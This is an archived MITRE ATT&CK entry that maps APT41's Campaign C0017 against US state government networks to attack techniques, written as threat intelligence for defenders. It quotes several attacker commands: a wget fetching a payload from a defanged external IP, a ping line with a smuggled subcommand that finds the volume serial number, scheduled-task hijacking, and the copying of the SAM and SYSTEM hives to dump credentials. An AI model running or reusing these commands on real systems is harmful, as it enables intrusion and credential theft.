C0017, Campaign C0017 | MITRE ATT&CK®

Archived: 2026-04-05 14:08:27 UTC

Enterprise T1134 Access Token Manipulation

During C0017, APT41 used a ConfuserEx obfuscated BADPOTATO exploit to abuse named-pipe impersonation for local `NT AUTHORITY\SYSTEM` privilege escalation.[1]

Enterprise T1071 .001 Application Layer Protocol: Web Protocols

During C0017, APT41 ran `wget http://103.224.80[.]44:8080/kernel` to download malicious payloads.[1]

Enterprise T1560 .003 Archive Collected Data: Archive via Custom Method

During C0017, APT41 hex-encoded PII data prior to exfiltration.[1]

Enterprise T1059 .003 Command and Scripting Interpreter: Windows Command Shell

During C0017, APT41 used `cmd.exe` to execute reconnaissance commands.[1]

.007 Command and Scripting Interpreter: JavaScript

During C0017, APT41 deployed JScript web shells on compromised systems.[1]

Enterprise T1005 Data from Local System

During C0017, APT41 collected information related to compromised machines as well as Personal Identifiable Information (PII) from victim networks.[1]

Enterprise T1001 .003 Data Obfuscation: Protocol or Service Impersonation

During C0017, APT41 frequently configured the URL endpoints of their stealthy passive backdoor LOWKEY.PASSIVE to masquerade as normal web application traffic on an infected server.[1]

Enterprise T1074 .001 Data Staged: Local Data Staging

During C0017, APT41 copied the local `SAM` and `SYSTEM` Registry hives to a staging directory.[1]

Enterprise T1140 Deobfuscate/Decode Files or Information

During C0017, APT41 used the DUSTPAN loader to decrypt embedded payloads.[1]

Enterprise T1048 .003 Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted Non-C2 Protocol

During C0017, APT41 exfiltrated victim data via DNS lookups by encoding and prepending it as subdomains to the attacker-controlled domain.[1]

Enterprise T1041 Exfiltration Over C2 Channel

During C0017, APT41 used its Cloudflare services C2 channels for data exfiltration.[1]

Enterprise T1567 Exfiltration Over Web Service

During C0017, APT41 used Cloudflare services for data exfiltration.[1]

Enterprise T1190 Exploit Public-Facing Application

During C0017, APT41 exploited CVE-2021-44207 in the USAHerds application and CVE-2021-44228 in Log4j, as well as other .NET deserialization, SQL injection, and directory traversal vulnerabilities to gain initial access.[1]

Enterprise T1574 Hijack Execution Flow

During C0017, APT41 established persistence by loading malicious libraries via modifications to the Import Address Table (IAT) within legitimate Microsoft binaries.[1]

Enterprise T1105 Ingress Tool Transfer

During C0017, APT41 downloaded malicious payloads onto compromised systems.[1]

Enterprise T1680 Local Storage Discovery

During C0017, APT41 issued `ping -n 1 ((cmd /c dir c:\|findstr Number).split()[-1]+` commands to find the volume serial number of compromised systems.[1]

Enterprise T1036 .004 Masquerading: Masquerade Task or Service

During C0017, APT41 used `SCHTASKS /Change` to modify legitimate scheduled tasks to run malicious code.[1]

.005 Masquerading: Match Legitimate Resource Name or Location

During C0017, APT41 used file names beginning with USERS, SYSUSER, and SYSLOG for DEADEYE, and changed KEYPLUG file extensions from .vmp to .upx likely to avoid hunting detections.[1]

Enterprise T1027 Obfuscated Files or Information

During C0017, APT41 broke malicious binaries, including DEADEYE and KEYPLUG, into multiple sections on disk to evade detection.[1]

.002 Software Packing

During C0017, APT41 used VMProtect to slow the reverse engineering of malicious binaries.[1]

Enterprise T1588 .002 Obtain Capabilities: Tool

For C0017, APT41 obtained publicly available tools such as YSoSerial.NET, ConfuserEx, and BadPotato.[1]

Enterprise T1003 .002 OS Credential Dumping: Security Account Manager

During C0017, APT41 copied the `SAM` and `SYSTEM` Registry hives for credential harvesting.[1]

Enterprise T1090 Proxy

During C0017, APT41 used the Cloudflare CDN to proxy C2 traffic.[1]

Enterprise T1053 .005 Scheduled Task/Job: Scheduled Task

During C0017, APT41 used the following Windows scheduled tasks for DEADEYE dropper persistence on US state government networks: `\Microsoft\Windows\PLA\Server Manager Performance Monitor`, `\Microsoft\Windows\Ras\ManagerMobility`, `\Microsoft\Windows\WDI\SrvSetupResults`, and `\Microsoft\Windows\WDI\USOShared`.[1]

Enterprise T1505 .003 Server Software Component: Web Shell

During C0017, APT41 deployed JScript web shells through the creation of malicious ViewState objects.[1]

Enterprise T1016 System Network Configuration Discovery

During C0017, APT41 used `cmd.exe /c ping %userdomain%` for discovery.[1]

Enterprise T1033 System Owner/User Discovery

During C0017, APT41 used `whoami` to gather information from victim machines.[1]

Enterprise T1102 Web Service

During C0017, APT41 used the Cloudflare services for C2 communications.[1]

.001 Dead Drop Resolver

During C0017, APT41 used dead drop resolvers on two separate tech community forums for their KEYPLUG Windows-version backdoor; notably APT41 updated the community forum posts frequently with new dead drop resolvers during the campaign.[1]
